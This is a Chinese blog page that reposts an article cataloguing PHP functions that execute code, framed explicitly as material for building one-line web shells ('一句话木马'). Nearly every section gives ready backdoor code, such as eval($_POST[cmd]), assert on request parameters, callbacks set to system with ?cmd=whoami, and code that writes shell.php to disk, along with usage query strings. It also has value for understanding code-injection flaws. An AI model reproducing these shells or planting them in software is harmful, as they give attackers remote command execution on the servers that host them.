会员

贴心博客(Imblog)

基于`Imcat(贴心猫)+(微样式)Weys`开发

PHP代码执行函数总结(可以用于制作一句话木马)

2019-06-20 18:02 工作

https://blog.csdn.net/nzjdsds/article/details/81908610
PHP代码执行函数总结(可以用于制作一句话木马)


PHP中可以执行代码的函数,常用于编写一句话木马,可能导致代码执行漏洞,这里对代码执行函数做一些归纳。

常见代码执行函数,如  

eval()、assert()、preg_replace()、create_function()
array_map()、call_user_func()、call_user_func_array(),array_filter,usort,uasort()
文件操作函数、动态函数($a($b))


1、eval() 

  eval() 函数把字符串按照 PHP 代码来计算,如常见的一句话后门程序:[?php eval($_POST[cmd])?]


2、assert()

   与eval类似,字符串被 assert() 当做 PHP 代码来执行,如:

示例代码:

[?php 
//?cmd=phpinfo()
assert($_REQUEST[cmd]); 
?]


3、preg_replace()       (php5.5以后的版本废除了/e)

  mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

  搜索subject中匹配pattern的部分, 以replacement进行替换。

  preg_replace()函数原本是执行一个正则表达式的搜索和替换,但因为存在危险的/e修饰符,使 preg_replace() 将 replacement 参数当作 PHP 代码

[?php 
//?cmd=phpinfo()
@preg_replace("/abc/e",$_REQUEST['cmd'],"abcd");
?]


4、create_function()

  create_function主要用来创建匿名函数,如果没有严格对参数传递进行过滤,攻击者可以构造特殊字符串传递给create_function()执行任意命令。

代码示例:

[?php 
//?cmd=phpinfo();
$func =create_function('',$_REQUEST['cmd']);
$func();
?]
参考链接:

代码安全:PHP create_function()注入命令执行漏洞

http://www.cnseay.com/1901/
http://lovexm.blog.51cto.com/3567383/1743442
http://qqhack8.blog.163.com/blog/static/11414798520153795157139/


5、array_map()

  array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。 回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。

 代码示例:

[?php
//?func=system&cmd=whoami
$func=$_GET['func'];
$cmd=$_GET['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
//print_r($new_array);
?]


6、call_user_func()/call_user_func_array ()

call_user_func — 把第一个参数作为回调函数调用,其余参数是回调函数的参数。
call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数

[?php 
//?cmd=phpinfo()
@call_user_func(assert,$_GET['cmd']);
?]
 
[?php 
//?cmd=phpinfo()
$cmd=$_GET['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);
?]


7、array_filter()

rray array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )

  依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。

[?php 
//?func=system&cmd=whoami
$cmd=$_GET['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);
?]
 

8、usort()、uasort()

  usort() 通过用户自定义的比较函数对数组进行排序。
  uasort() 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联 。

php环境>=5.6才能用
[?php usort(...$_GET);?]
利用方式:
test.php?1[]=1-1&1[]=eval($_POST['x'])&2=assert
[POST]:x=phpinfo();
 
php环境>=<5.6才能用
[?php usort($_GET,'asse'.'rt');?]
利用方式:
test.php?1=1+1&2=eval($_POST[x])
[POST]:x=phpinfo();


9、文件操作函数

  file_put_contents() 函数把一个字符串写入文件中。
  fputs() 函数写入文件

代码示例:

[?php 
$test='[?php eval($_POST[cmd]);?]';
file_put_contents('test1.php',$test);
?]
[?php 
fputs(fopen('shell.php','w'),'[?php eval($_POST[cmd])?]'); 
?]


10、动态函数

  PHP函数直接由字符串拼接

[?php 
//?a=assert&b=phpinfo()
$_GET['a']($_GET['b']);
?]


 

来源:(原创) 编辑:peace 关键词:PHP,一句话木马

    More 心情墙

  • 1 我吹过你吹过的风,这算不算相拥; 我走过你走过的路,这算不算相逢。 某小卫:算,都算!拉走隔离! (from某公众号留言)
  • 0 我的要求并不高… Sqlite一样好, cli命令行一样好, PyQuery一样好, …
  • 32 Win7-64bit + Python-3.7.4: Django-2.2.24 安装失败 ... Django-3.2.9 安装失败 ... Django-2.1.15 安装成功! 为啥 Django-2.2+ 安装失败?
  • 23 文学的力量:鲁迅先生,弃医学文;结果他这业余文学成就比他专业医学成就还高; 李彦宏同志,IT终于疲惫了;也拿起笔写起了书:《智能交通》…
  • 有所为,有所不为,是为华为! 凝心聚力,中华有为!

    22 2019-06-02

  • 2019愿望: 1.多健身少生病;2.学习英语,心理学;3.发布`贴心博客`,`贴心企业网`,`贴心房产网`(部分合作开发)...

    37 2018-12-31

  • 愿与[企业,客户]三方利益达到最佳平衡!

    4 2018-12-16

    More 和平鸽小语

  • 1 HI,2022!今天看到的朋友圈,如无特别忌讳,我一律点赞!
  • 33 如果觉得活得太艰难,那就考虑怎样轻松去死! (笔者此时积极生活,热爱生命;没毛病,无需进精神病医院。)
  • 236 不晒妻娃,那是家庭隐私; 不晒工作,那是商业机密。
  • 26 健康第一,X无止境,努力YY,积极ZZ !
导航
博客文章
便笺墙
家族亲友树
联系我们
地址:银河县太阳镇地球村
电话:135-37****47
邮箱:80893510@qq.com

Copyright@贴心博客(Imblog)

Run:8.762/80.745(ms); 6(sql)/2.124(MB); comm:info/detail; Upd:2024-04-27 06:21:34